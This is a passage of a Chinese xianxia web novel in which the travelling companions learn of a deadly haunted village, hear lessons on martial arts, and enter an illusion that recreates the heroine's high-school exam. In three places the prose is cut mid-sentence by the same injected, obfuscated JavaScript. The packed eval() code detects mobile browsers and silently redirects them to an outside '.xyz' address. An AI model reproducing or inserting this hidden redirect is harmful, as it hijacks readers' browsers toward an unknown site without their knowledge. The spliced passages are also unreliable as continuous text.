他笑道:“我虽然不怎么和江湖事沾边,但依然是一个好奇心旺盛的人,我听见这种事情,就总喜欢去看看到底是什么情况。然后我就想着,不如趁此机会设一个比武,说不定能遇到合眼缘的年轻人,指点一二的同时还能问一下这里的情况。” 赵之闻看向崔羽落:“巧的是我在人群里看见了你,然后我就让那书生把木牌丢给了你。” 崔羽落想了想,道:“但前辈安排这比武,本来是想找个合眼缘的当地人,问一问沅城里的闹鬼情况。如今我坐在这里,既不是本地人,也不了解情形,却是违背了前辈的初衷了。” 赵之闻哈哈笑道:“没有没有!能在这里遇见你,比我再遇到十几个当地人都让人喜悦。我先前说要传你武功,如今你我相遇于此,便也不算我随口乱说。至于闹鬼一事,你们正好也在为此事奔走,我们便可搭个伴,一起去看看这闹的到底是什么鬼。” 崔羽落端起酒碗:“那再好不过了。来,干一杯。” 几人碰了杯,沈临澄问道:“前辈,你到得早,能否告诉我们沅城的闹鬼究竟是什么情况呢?” 赵之闻摆摆手道:“不用叫我前辈,如果不嫌弃,可以叫我赵叔。至于闹鬼的事……和那个镇子上的大差不差,我一介凡人,也不甚了解。具体情况如何,我们可以稍后去仔细看看。” 崔羽落道:“那你有没有听说过……买卖活人?” 赵之闻一愣,随后答道:“这可不少见。有些人被买去当苦力,有些人被买去给名门大户当杂役。这世道,有的是被买来买去的人。” 沈临澄道:“我们说的那些人,他们好像和修仙之人有关系,而且买下的都是女子,你可曾听说?” 白渟补充道:“那人来我家里的时候,说要带我去修炼。” 赵之闻垂下眼,沉吟道:“这种我也听说过,有些人将人买下,说是去修炼,实则是一起当骗子。总之,买活人的事,可真不算新鲜,要管的话,那些人狡兔三窟的,也管不完。何况有些人家里确实是孩子多,养不起,与其饿死一家,不如买走一个,来换家里其他人几个月的干粮。” 崔羽落想起前一晚带走张束的黑衣人,心想:这些人看上去却不太像普通的人贩子。 赵之闻看了一眼白渟,声音低沉了些许:“还有些人家,想要个儿子,结果生了一堆女儿的。最后一个几岁的男孩,上面好几个姐姐。家里肯定养不起这么多人,所以那些女儿,有些就早早被嫁出去了,有些,就会想办法卖到其他地方,比如卖给大门大户当下人啊,或者卖到戏班子去唱戏等等。你们刚才说的那伙人,大概也是专门找这种女儿很多的人家,至于后面是不是真的去修炼,那又不好说了。” 沈临澄道:“那伙人,我是一定要把他们揪出来的!我一个人办不到,还有我师傅呢!” 慕惊弦问道:“你师傅是哪位长老?” “青平长老。” 慕惊弦似是很讶异,而后道:“那我们稍后先去处理沅城的闹鬼一事。” 崔羽落想起先前两人谈起玄昭几位长老的时候,慕惊弦说青平长老“性情冷漠,寡言少语”,但根据沈临澄所言,这位青平长老似乎……也没有很冷漠? 她将碗中酒一饮而尽:“走吧。” 几人处理完城中的几处魔气,已然是傍晚。决定了第二天再早起赶路后,一行人便回到客栈歇脚。赵之闻独自待在一间房内,其余四人则聚在崔羽落的房中。 沈临澄拿起一块点心,问道:“你们觉得……赵之闻靠谱吗?” 崔羽落神色凝重:“他是武林第一高手,然后……根据那些江湖人的反应,他应该人品还不错,性格也很好,那些江湖人虽然不一定很服气他,但好像也没有讨厌他。” 沈临澄吃完了一块板栗酥,又拿了一块鲜花饼:“那他应该确实人不错,我们可以相信他。对了,白姑娘,你家中还有几个兄弟姐妹啊?” 白渟咽下口中点心,答道:“除我以外,家里还有七个孩子。” 沈临澄瞪大眼睛:“这么多啊!” 白渟道:“这在我们村不算多的了。姐姐,你家里有几个孩子啊?” “一个,我娘身体不好,去得早,我爹前几年也得病去世了。”沈临澄撑着脸,看着窗外说,“说实话,我从小到大一直觉得,家里就我和我爹两个人,实在是太冷清了,要是有个姐姐或者妹妹就好了。后来大了些,我便开始安慰自己,一个人潇潇洒洒也挺好,后来潇洒着潇洒着,遇到了我那人美心善的师傅,我跟着她去了宗门,见到了好多好多和我差不多大的姐妹。结果你们猜怎么着?” 白渟听得聚精会神:“怎么着?” “那是我第一次和那么多人待在一起,之前做梦都不敢想的事情就这样发生了。但是我发现,人又有点太多了,在那么多人里面说话,我又觉得很不好意思,就好像……我忘掉原本的自己是什么样了一样,我总是很紧张很局促,好像只有在人比较少的地方,我才能放得开做自己一样。” 崔羽落心想:这是社恐吧? 沈临澄继续说:“然后我就和我师傅说,我还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650742|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续下山游历吧,她说行,我就走了。果然啊,还是这样比较轻松愉快。” 崔羽落笑道:“我也是,在人很多的地方,我宁愿自己找个安静的角落待着,可千万别有人来找我。” 沈临澄哈哈一笑,而后问道:“那你呢?你家中也有其他孩子么?” 崔羽落“啊”了一声,答道:“有。” “有几个?” 崔羽落答道:“除了我,还有两个。” 在一旁安静吃东西的慕惊弦忽然转头看了她一眼。 “不过,我离家早,这些年一直是自己到处游荡。”崔羽落笑了笑,“如此看来,我和姐姐还挺相似的。” “是啊,”沈临澄笑道,“我觉得你我真的很有缘分,四处游荡的经历很像,害怕面对一堆人也像,然后……喜欢行侠仗义做好事的善心也很像。哈哈哈。” …… 休息一晚后,几人第二天便顺着魔气去了下一个闹鬼的地方。此地的魔气果然比先前两地的魔气更加浓郁,根据先前的猜测,魔气最浓郁的地方,或许有个秘密在等着他们揭开。 而接下来的几天,他们顺着魔气一路向西南而去,最终在一个名叫玉屏的镇子里停了下来。镇子上的魔气比先前几个地方更加浓郁,或许是因为这个原因,偌大的镇子上只有寥寥几户人家,而这几户人家聚在一片,周围悬挂着辟邪驱魔的符咒和经幡。 “不出意外的话,再往西南方向走几十里,便是魔气的中心了。”慕惊弦在夜色中施法探查。 “这个镇子上应该是没有客栈了,我们去那几户人家问一问。”崔羽落的目光划过荒芜破败的围墙,最终停留在不远处亮着的几扇窗上。 几人敲开门,见开门的女子十分警惕,沈临澄解释道:“姐姐,我们是来查闹鬼一事的修士,并非心怀不轨之人。” 女子却依然神色戒备:“修士?许多自称修士的,实际上都是骗子呢。” “我们不是骗子,”沈临澄指了指不远处的辟邪符咒,“我们方才看那些符咒效力甚微,便重新施了法设了阵,你瞧,那一片是不是能看得见隐约的灵光?” 女子并不说话,转身向里面走去。 沈临澄无奈道:“姐姐!我们真的不是骗子!” 崔羽落拍拍她的肩:“既然如此,我们换一家试试。” 敲了三四家的门,他们终于被迎了进去。 这是一户三口之家,夫妻看上去约有三十来岁,此外还有个十四五岁的女儿。 男子端出饭菜:“手艺一般,几位莫要嫌弃。” 崔羽落看着眼前的土豆片和小油菜,忽然有些走神。 ——她从前在家的时候,常常吃这两道菜。 心不在焉地吃了几口,那女子问道:“几位真要查那魔气来源么?我劝几位还是仔细考虑一下再做打算吧。” 沈临澄问道:“为何?那下一个地方莫非十分凶险吗?” 女子神色凝重:“岂止是‘十分凶险’啊。” 赵之闻疑惑道:“此话怎讲?” “在这之前也有人去过,其中不乏一些和你们一样的修士,但这些年去过那个村子的人,无一例外,全都有去无回。” 29. 保护 沈临澄听到“有去无回”四字,疑惑道:“这一带的仙门是哪一家?发生了这样的事情,难道就没有传到那些修士口中?他们怎不来管管?” 女子叹了口气道:“你们可曾听过泽音城?那便是这一带的大宗门了。他们知道了那些闹鬼的事情,顶多时不时派人来除一除魔气,再给住的地方周围设一些符咒阵法。至于那村里的东西,这么些年也没能拿它怎样。” 慕惊弦问道:“别的仙门呢?” “别的仙门?”女子苦笑一声,“泽音城把闹鬼的消息封死在这一片,根本传不出去啊。就算偶尔有修士路过,听说了这事,好心地去查看,也全都是有去无回。所以你们瞧,这事怎么能传出去呢?” 崔羽落道:“封死在这一片?为何要这样做?莫非是那村里的妖鬼和泽音城里的人有什么纠葛?” “姑娘,这话可不能乱说啊。”女子顿了顿,“大概是,家丑不可外扬吧。” 崔羽落心想着“可真是虚伪”,口中问道:“那村庄闹鬼具体是怎么个情况呢?” 女子答道:“害怕的人自然不敢凑近看,而胆大的、敢闯进去的人也都没有再出来了。所以具体情况,也不得而知了。” 饭后,几人聚在房间内,赵之闻问道:“明日还要去么?” 崔羽落沉吟道:“去。” 沈临澄道:“是骡子是马,拉出来遛遛就知道了。不过在进入村庄前,还得仔细查探,勿要鲁莽行事。” 崔羽落转向白渟:“白姑娘,前路凶险,不如你和赵叔先留在此处,我们三人前去探路便可。” 赵之闻挑眉道:“怎么,你是瞧不起我这没有修过仙的凡人了吗?” 崔羽落摆手笑道:“没有没有,只是白姑娘留在此处,我觉得不太放心,需要留人照顾。” 白渟却道:“不用特意照顾我,我跟你们一起去!” 沈临澄问道:“你可想好了,会遇到一些吃人的妖魔鬼怪的。” 白渟点点头。 赵之闻拍手道:“那正好啊,我们一起去探探路。” 崔羽落道:“前辈,你之前说要传我武功,不知什么时候能指点一二呢?” 赵之闻道:“不急不急。其实行走江湖,说白了就是要做好三件事。” 沈临澄问道:“哪三件?” 赵之闻正色道:“其一是能打,这个很好理解,但又不好做到,因为不管怎样,总有人比你厉害,总有些人是你遇上了就打不过的,除非你成为天下第一。但天下第一也难免被人暗算,所以没人能保证自己能永远立于不败之地。” 崔羽落点头道:“是了,那第二呢?” “第二是能抗,毕竟留得青山在不怕没柴烧嘛,就算打不过别人,只要你肉厚筋骨结实,挨上一顿打对你来说是挠痒痒,这样的话,你虽然没有赢过别人,但也未曾被人打坏。只要能一直活着,那便已经超越绝大多数人了。” 白渟问道:“那最后一点是什么呢?” “最后一点便是能跑,如果你遇上一个人,你打不过他,也扛不住揍,那自然是三十六计走为上了。就像山间的清风一样,它不能把人给吹得飞走,也会被各种东西挡住,但你要是想抓住它,却又十分不易了。只要有一条缝隙,它就能嗖地一下溜走,想要抓住它的人只能看着自己空空的手,唉声叹气喽。” 慕惊弦道:“第一件事是能打,第二件是能抗,最后一件是能跑。然后呢?” 赵之闻神秘道:“若一个人能将其中一件事做到极致,那也足够了。但这毕竟是一件难事,所以大多数人还是会同时在这三个方面来进行提升。其实这三件事并不是独立的,能跑的人往往也比较能抗,因为别人打他,他就可以跑来跑去,某种程度上也算是抗了很久,而能打的人往往也能跑,这个简单,内功提高的话轻功自然也会变高。而能抗的人往往也能打,毕竟打架的时候你打我一下我打你一下的,你打我十掌我没有倒下,我打你十掌你却趴下了,这不也算是能打么?” 沈临澄有些苦恼:“赵叔,你说得这样复杂,我实在是有点晕了。” 赵之闻哈哈笑道:“简单来说,能打就是招式好功力高,能抗就是身体抗造,能跑就是动得快。每一项也不过是外练筋骨皮、内练一口气罢了。” 崔羽落问道:“那……那些花里胡哨的招式呢?各种剑法拳法腿法呢?” 赵之闻道:“这些招式也不过是外练筋骨皮的方法,再加上一些简单招式的花哨组合罢了。但过分强调招式,反而违背了打斗的本质。” 沈临澄问道:“那打斗的本质是什么呢?” “攻击和防守。”赵之闻轻松地说,“而那些招式也分为攻击招式和防御招式两种,但有些时候攻击反而是一种防守,而防守也是为了掩盖自己的攻击意图,但它们本质上也就是攻和守而已。至于如何参透攻与守,其实多打架就可以了。” 崔羽落瞪大眼睛道:“多打架?” 赵之闻一摊手:“是啊。外练筋骨皮,内练一口气,然后在打架中多感悟攻和守,就这些了。” “那……” “那要如何将绝世武功传给你?”赵之闻笑道,“时机未到。” * 几人分散开住,崔羽落坐在桌边,挥手用灵力合上门,看向站在窗边的慕惊弦:“你怎么想?” 慕惊弦答道:“那么多人进了村子,最后都有去无回。你不怕么?” “怕当然是有点怕的,但……”崔羽落沉默了片刻,“不知道啊,其实我觉得,我有些时候有些冲动。” “冲动?” “是啊,但是来都来了。” 慕惊弦看着她,忽然笑了笑:“来都来了?” 崔羽落歪了歪头,活动了一下脖颈:“是啊,来都来了,那可不得去看看。但是我还有有一些顾虑。” “什么顾虑?” “若是只有我一个人倒也罢了,但他们几个,如果因为我的冲动而陷入危险,那……我岂不是很可恶了?” 慕惊弦靠在窗边,看着崔羽落从包裹中拿出先前买的点心,一口一口吃着,而后道:“因为你的冲动而陷入危险?你既没有强迫他们和你一起,也没有控制他们的神智让他们决定跟随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663283|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,又何来因为你?” 崔羽落有些含混地应了一声:“有道理,不过既然他们愿意一同前去,我就得努力保护好大家。” 慕惊弦无声地笑了笑,随后道:“是,相信自己。” “相信自己?我才刚入门,对各种鬼怪或者咒法几乎一窍不通,如何信?” “遇到鬼怪之后,也不过是打一架。赵之闻不是说,打架不过是攻和防,这些东西,你总是比较熟知的。” 崔羽落吃着板栗酥,忽然道:“那你呢?” “我怎么了?” “妖魔鬼怪,术法符咒,你应该很了解啊。” “……还可以。但是,”慕惊弦道,“我现在只是一介手无缚鸡之力的文弱书生,遇到危险,还需姑娘出手保护。” “……” “说到这里,我突然想起来一件事。” “什么?” 慕惊弦抬起手指,一道流光倏然自窗中飞向远处:“我问问季回澜近几日是否空闲,若是没什么事的话,便可过来和我们一道前去村庄。” 崔羽落看着那已经消失在黑夜里的流光,心道:也是,我们这几个人看上去不太靠谱。 “不早了,我们早些休息吧。” 崔羽落拍拍手上的残渣:“哦。” 第二天一早,崔羽落还未清醒,便听见楼下传来一年轻男子的声音:“有人唤我来此地,不知这里可有一个……身量与我相近、但不如我英俊的男子?” 然后她听见慕惊弦缓缓说道:“怎么是他?” 崔羽落疑道:“是谁?” 楼下那男子的声音传了上来:“在下宋余舟,玄昭弟子。” * 饭后,几人便向那诡异村庄走去。 崔羽落看着那身穿天青色袍、长发高束的少年走在沈临澄身边,开口道:“原来师妹也在这里啊,我和你说,你可知你师尊前几天……” 慕惊弦打断了他的长篇大论:“怎么是你?” 宋余舟走到他旁边:“怎么不能是我?季回澜他在忙其他事情,我怕你应付不来,就将我的一堆繁忙事务安排好,大早上就传过来了。你不用谢我,毕竟我是来为民除害的,而不是专门来帮你的。” “我本来也没想谢你。而且,你若是实在忙碌,就去忙你的吧。” “哈哈。” 过了一会儿,几人便已到了那传闻中有进无出的村庄前。眼前的大石之上,刻着三个有些模糊的字—— “溪桥村。” 宋余舟道:“这名字还挺好听的,但它实际上又那么凶险,可一点都不像它的名字。” 沈临澄问道:“那我们要进去么?” 宋余舟道:“进去?直接进去会不会有些莽撞?” 慕惊弦凉凉地说:“不然呢?坐下来小酌几杯、再整理一下衣服和头发?” “那你先进。” “你可以回头看看,我们的来路,已经消失了。” 其余几人回头看向身后,却见浓雾弥漫,一片混沌。而先前的道路已消失不见,白雾沉沉,渐渐向他们逼近。 30. 幻境 浓雾逐渐逼近,宋余舟摸出一张符,蓦地向前掷出。符咒在浑浊中乍然亮起,光芒迅速弥散。 下一瞬,符咒猝然熄灭。 “只能往前走了,”宋余舟不以为然地耸耸肩。 “为什么符咒消失了?”崔羽落问道。 “这是一张探路符,简单来说就是可以照出某个领域内的真实场景。”宋余舟看着缓缓压迫而来的白雾道,“而刚才它灭了,就说明,我们已经走进了某个封闭的区域。” 崔羽落回头看向村庄的方向,“溪桥村”三个字在雾霭中有些模糊,本就破败的场景在忽然生起的白雾中愈显凄凉。视野中没有活物,干枯的杂草在坍塌的土墙下肆意蔓延,墙内探出的枯枝凌厉而突兀,将其后的房屋割成好几片,宛如一幅被撕碎的苍老画卷。 慕惊弦迈步向前几步,抬手默念咒诀,片刻后继续前行。 崔羽落见他施咒后眼前景象依旧,问道:“如何?” “魔气很重,当心。” 宋余舟快行几步:“真要第一个进啊?还是我来吧。” 慕惊弦向他伸出手:“结契符。” 宋余舟从怀中拿出一小沓,却没有递给他,而是转身给其余几人分别给了一张后,笑道:“这个符,带在身上的话,就可以感知到其他几人的状态。这个状态包括大致方位和自身状态,以防走丢,切要将此符小心保管。” 崔羽落捏着手中那张符,凝神感知,发现自符咒上传出一股温和的力量,自那只手汇入自己的气海,而气海中灵力随之微微波动。她仔细感受,发现外界某几个方向的灵气与体内力量隐隐共鸣,那几个方向则分别指向其他几人所站的方位。 而那些外界的灵气强弱不一,其中有一道灵气最为明显,崔羽落几乎能通过共鸣感知到灵气尽头的心脏搏动。 正是宋余舟的方位。 “现在走吧,”宋余舟指间夹着一张符,在慕惊弦眼前晃了晃,压低声音问道,“要不我给你传一些灵力?” “不用。” “为何?”宋余舟皱眉道,“你现在这样……” “死不了。”慕惊弦将符纸揣进袖中,继续向前走去。 崔羽落扭头看向沈临澄,见她正盯着手上符纸,便问道:“姐姐,这符可是有什么特别之处?” 沈临澄轻声道:“画得真好啊,简直完美!” 崔羽落疑道:“完美?” 沈临澄转头向着她,而后道:“他是玄昭掌门之子,此外,还是仙门年轻一代里制符最顶尖之人。” 崔羽落点点头:“那确实很厉害。” 沈临澄小心地收起符纸,看向前方雾霭沉沉的荒村:“走吧。” 崔羽落和她并肩向前,片刻后,却听身边人忽然道了句:“终有一天。” “什么?” 沈临澄目光灼灼:“终有一天,我希望有很多人能知道我的名字,不仅如此,最好还能在我的名字前面,加一个‘最什么什么的’。” 崔羽落一愣,而后道:“一定会的,姐姐。” 沈临澄笑了笑,拉起她的手:“走吧。” 崔羽落和她一起向前,却见前方骤然光芒大盛。她本能地闭眼,再次睁眼时,周遭已和方才全然不同了。 她正独自一人站在浓雾弥漫的街道上,先前的同伴似乎消失了。 她环视周围,发现自己似乎处于一片混沌之中,目之所及除了无边无际的雾,别无其他。 她缓缓抬手,想要拔出腰间悬挂的刀。 ——她摸了个空。 刀也不见了! 她低下头,见身上仍然穿着先前的衣服,只是腰间的破伤风不知所踪。 “问题不大,大不了肉搏,”崔羽落这样想着,向前稳步走去。而随着她前进,周遭的白雾竟逐渐淡了下去,景象缓缓浮现。 看清周围场景的崔羽落顿下脚步,心跳猝然加快。 原本的寂静被喧嚣打破,周围的嘈杂人声流入耳中。 “走走走!到教室再吃!” “早自习是语文还是英语来着?” “英语!而且要听写单词!” “完蛋货了,一个没背。” “……” ——她进入的幻境,居然是高中校园。 眼前不远处是红色的教学楼,人潮从身后的食堂轰然向那座红色的大楼流动。方才说话的正是两个拿着包子的女生,她们背着书包,有些潦草地向前跑着,与崔羽落擦肩而过。 她抬眼见那两个女生已跑出很远,但鲜肉包的味道还未散去,方才被风带起的衣角仍留有余温。 随着周遭景象逐渐清晰,她发觉自己的代入感愈发强烈。 身边人潮涌动,而她是沧海一粟。 “代入感?”她猛然想,“但是……这个场景,好真实啊。” 念头在心中停留一瞬,她被身旁人一拍肩头:“你怎么穿成这样?” 崔羽落低头,见自己身穿一身和周遭格格不入的古装,脱口而出道:“我……不知道啊。” 陌生女孩看着她怔忡的神情,微微皱眉:“快走啊,早自习要迟到了。” 是啊,再不走快,就要迟到了。 她加快脚步,随波逐流地进了教学楼,又十分自然地进了某个教室,到中间靠墙的某个位置坐了下来。 她抬眼,看到黑板旁边贴着一张纸—— “距离高考还有10天。” 崔羽落:“……” ——完了。 那行黑色的字像是悬在头顶的一条诅咒,她不由自主地感到惶恐。 但奇异的是,察觉到这种惶恐后,冥冥之中,她觉得自己身体内的什么东西正悄然且不受控制地离她而去。 ——什么东西呢? “难道是知识吗?”崔羽落低头看向桌面,入眼是一沓雪白到刺眼的卷子,最上面的那张纸顶部,赫然写着几个漆黑的字:“20xx年高考冲刺卷-物理”。 她在周围有些杂乱的早读声中盯着那张纸。目光划过滑块、电路图和被挖了一块的球体,停留在游标卡尺上,耳边骤然响起一个声音:“没睡醒?英语早自习还看物理呢?” …… 一上午倏然过去,她心中十分不安。 因为她觉得铁定没学上了。 她不想再参加一次高考。 如果考不上大学,那大概会被父母送去当地的大专读几年,毕业之后…… 她逃也似的跑出教室,站在走廊上,感受着自己砰砰跳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675648|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一上午的心脏在胸膛中沉重地跃动,带动着她的身躯在穿堂风里微微发颤。 心中的惶恐过了一上午,不仅毫无消减,反而愈加明显。 她竭力调整呼吸,同时缓缓走过亮着冷白灯光的走廊,余光扫过两边的教室门,到了某处,她余光掠过什么,后知后觉地停了脚步。 但她反应太慢,两侧已不再是教室,而是办公室和楼梯间。 她下了楼梯,忽然开始奔跑。她一路跑到校外,在一家面馆门前顿下脚步。 她进门点了炒面,在桌前坐下。不知是不是太过劳累,她沉沉睡了过去。 昏沉中,她听见耳边传来面馆老板的声音:“快醒醒,考试要迟到了!” 她迷迷糊糊,但心跳依然很快:“什么考试?” “高考啊!还是一个小时就开考了!你看你什么东西都没带,快回去拿上东西就去考试吧!” ——更完了。 紧张和惶恐压得她几乎喘不上气,她一路狂奔,一直跑进一家招待所里,她看着眼前的亲戚,喘着气道:“准考证、准考证。” 又一路狂奔后,她终于到了考点门口。但看着眼前的“欢迎考生”条幅,恐惧漫上心头,双腿似灌了铅,她再也不能往前一步。 她不能。 她不能去考试。 要是这样去考试,那以后怎么办? 她失魂落魄地站在人流里,像奔腾大河中一座无人问津的荒岛。所有人都向前奔流而去,唯有她在自己的时间里独自凄惶。 但黑云翻墨,怒涛狂卷,她这座悬于天地之间的孤岛摇摇欲坠,仿佛下一瞬,她的所有荒芜和孤寂都要湮灭在永夜之中。 她想逃。 她看着眼前黑压压的人群,骤然转身,逆流而奔。 身后忽然多了几个脚步声,与此同时,她听见身后追赶的人在大喊。 “回来考试!” “你干什么去?” “回家!” 她头也不回,义无反顾地一路向前。 …… 不知过了多久,她忽然意识到一件事:这是幻境啊。 她猛然顿足,脑海中响起一个声音:【恭喜宿主,今日活力值达到200。】 直到这时,她方才开始仔细琢磨这一切。 浑身已被冷汗浸透,她竟在一片看似寻常的现代建筑之中,生出一种劫后余生的感觉。 无声地笑了一会儿后,崔羽落开始梳理到溪桥村之后的经历。 ——他们几人进了村,然后眼前光芒大作,她进入了幻境。 幻境的内容居然是高考? 她忽然想起先前那种怅然若失的感受,心想:我先前居然一直没有意识到这是幻境。 她进入幻境后,只用了很短的时间,就开始把幻境中的场景当作真实世界了。 而意识到自己的惶恐之后,这种感觉随后被放大了数倍。与此同时,她还有一种“体内的什么东西在悄然消失”的感觉。 她隐隐有了个猜测。 看着眼前由红变绿的信号灯,她回想起先前在走廊乍然生出的奇异感。 先前的模糊画面逐渐清晰,她的脑海中浮现出一个人影。 ——但是,他怎么会在这里? 31. 合修 时值正午,日头被浓云遮掩,天色阴沉,空气很闷。马路对面的信号灯由两位数变成个位数,一波穿着校服的中学生快步从对面走了过来,闹哄哄地和崔羽落擦肩而过。 崔羽落看着信号灯又变回红色,心想:可是……不是在考试吗?怎么还有上课的学生? 她忽然转身走向一个独自走着的女生。那女生原本看着腕上的电子表,见前路被人挡住,惊讶抬眼,入目是一件素净长衫,再往上则是有些凌乱的长发,水色发带随着那人的动作悠悠晃动,落在身前。 ——这人……是个coser? 目光落在那古装女生脸上,却见她未施粉黛,浅褐色的眼睛定定望着自己。 ——没化妆、也没戴美瞳,这cos未免有些敷衍。 那人伸出一只手,轻轻拉过她戴表的手腕,垂目看了一眼后,似是不太确定,又看着她问道:“今天是五月二十八日?” 她愣了一下,又看了一眼电子表,怔怔点头:“是。” 那人道了声谢,便转身向马路对面走去。 她看着那人修长的背影,小声道:“这人怕是刚穿越过来,还不认识红绿灯吧?” “刚穿越过来”的崔羽落过了马路,继续向先前上课的学校走去。她逆着人潮大步行走,直到进了校园,上了教学楼,站在人影寥寥的走廊内。 “刚才是哪个教室呢?” 两侧教室门大开着,里面的桌上摞着厚厚的书,书后却没有一个人影。她的脚步声在走廊内回荡,显得有些空洞。 脚步声停,她站在一间教室前,目光越过书本,停在坐在窗边的一人身上。 她抬脚进了教室,但那人浑然不觉,仍然低头写着什么。 崔羽落坐在他身边,身边人依然无动于衷。她侧眼看向他写的东西,发现那是一本生物的习题册,而在填空题的横线上,是她似曾相识的字迹。 想到先前谈婚约时某人难以辨认的字,她心想:没想到在这幻境里还见到高配版了。 ——就是这生物的遗传题似乎和他本人有些割裂。 她试探着问道:“你能听到我说话吗?” “……” 没有回应。 怀里的结契符忽然有了变化,原本毫无存在感的符纸渐渐散发出温热的灵息,崔羽落体内的灵气与之相呼相应,缓缓开始脉动。 灵气所指,便是身边之人。 崔羽落看了看身边低头写字的少年:“的确是他,但为何他……似乎看不到我?” 她叹了口气,伸手戳了戳慕惊弦的胳膊。触感正常,但……他似乎毫无感觉。 崔羽落撑头坐着,心中开始思索。 结契符没有探查到其他几人,说明他们和自己不在一个空间里。而如今二人进入幻境,得找到出去的方法。 先前她未清醒时,把幻境中的情景以为成真实世界,同时,她内心的惶恐和不安被放大,直到在考场前开始跑路,活力值足够高,转化成增益,方才苏醒意识,那种隐隐“有什么东西在流失”的感觉也消失不见。 至于之前来到村庄的人都有进无出…… 他们大概也是进入了幻境,然后在渐渐迷失了意识,最后死在了幻境中。 所以离开幻境,需要先醒过来。 她看了看身边浑然不觉的慕惊弦,仔细感受着结契符上传来的灵气波动,不禁皱起眉。 只一会儿,慕惊弦那边的灵力已经变弱了一些了。 若是一直不醒,那只会被耗死在这里。 她神色凝重,抬手将灵力缓缓传入慕惊弦体内。渐渐地,结契符上的灵息不再减弱,甚至缓缓强了起来。 崔羽落试探地说:“你,能听见我说话吗?” 慕惊弦似乎有所感知,脸上茫然之色一闪而过,笔尖微微颤动,在书页上工整的字体间落下一道犹疑的弧线。但片刻后,他恢复了旁若无人的冷静神情,继续沉浸地做起了题。 崔羽落表情复杂地看着纸上的遗传家谱图,心想着“不愧是玄昭门着力培养的术法天才,换个环境也能继续刷题如流水”,手上灵力不断,潺潺流向身边人体内。 不知过了多久,崔羽落打了个哈欠,发现结契符上的灵息又强了许多。她再次发问:“你能听见我说话吗?” 这一次慕惊弦疑惑的时间长了些,他的手悬在空中,目光离开题目,缓缓上移。 崔羽落看着他,又道:“我在这边。” 慕惊弦侧过头,看着她的眼睛。 崔羽落深吸一口气:“你能听见的话……可不可以说一句话?” “……” 两人无声地对视,崔羽落正要收回目光,却发现自己向慕惊弦传送灵力的那只手上,正有另一股力量反向朝自己体内涌来,它与崔羽落体内的灵力交融交织,带动着她体内原本不甚强悍的灵力陡然厚重了起来。 这感受似曾相识,使崔羽落想到先前在客栈内无意中引发的“双修”。 她望着慕惊弦幽深而漆黑的眼睛,胸膛内心脏沉沉跳动,与她在结契符上感知到的另一端同频共振。周遭原本古井无波的空气骤然开始汹涌,顺着两人的灵力急速流转,而她的气海随着外界的灵气有节律地起伏,如海水潮汐一般深邃而绵长。 在这起伏中,她发现自己体内的灵脉似乎变得清晰了起来,它们不再是模糊的气流轨迹,而是滔滔江水下幽深的脉络。而在这脉络之中,灵气与戾气缓缓缠绕,最终一同奔流向前。 她凝神运气,渐渐地,两人间的灵力又起了变化。 自她的气海缓缓生出一股无形有质的力道,引导着流动在两人灵脉间的灵气和戾气随之游走,而外界的两种力量感知到这种力道,也逐渐改变了动作,感应着崔羽落灵脉中的波动,在虚空中随之涌动。 她感受到自己气海中的力量逐渐充盈和丰沛,而周遭的灵气与戾气随着她灵脉中的力量流动,缓缓汇入二人体内。 结契符上的灵息愈发强盛,她看着慕惊弦,等着他恢复意识。但他只是静静看着她,并不言语。 崔羽落正要开口,却见他微微倾身向前。 她睁大眼睛,看着他离自己越来越近,直到他低下头,与她额头相贴。 周遭骤然爆发出炫目光影,崔羽落心想:难道这样能出去? 下一瞬,两人的灵脉联络断裂开来,崔羽落的双脚触及地面,周围空空如也。 眼前人又不见了踪影,她环视四周,入目一片荒芜。而天色浑浊,不辨昼夜,唯有怀里的结契符散发出温热的气息。 崔羽落感知着结契符的灵息,向它指引的地方缓缓走去。她在混沌中走了许久,终于看到不远处有一丝光亮,而在那团模糊的光中,是一个人影。 她向那边走去,见慕惊弦盘腿而坐,流光在他周围浮动,他闭着双眼,面容在光中显得有些模糊。 崔羽落抬手,触感冰冷坚硬。 ——这是一层结界。 她蹲下/身,问道:“你能听到我说话吗?如果……” 她的话被打断了。 “石火莹星,生灭如许,梦魂归去,莫问西东。” 崔羽落无奈道:“让你说话,指的是人话,可不是这种装神弄鬼的话。” 她看向周围,发现原本的混沌逐渐被一个房间取代。她的目光扫过香炉和屏风,落在书案边层层叠叠的卷轴上。 她站起身,在房间内走了一圈,思忖道:“先前的幻境是我的高中,那现在的幻境……莫非是他先前在玄昭的房间?” 她回到慕惊弦身前,手指拂过结界,猝然发力。 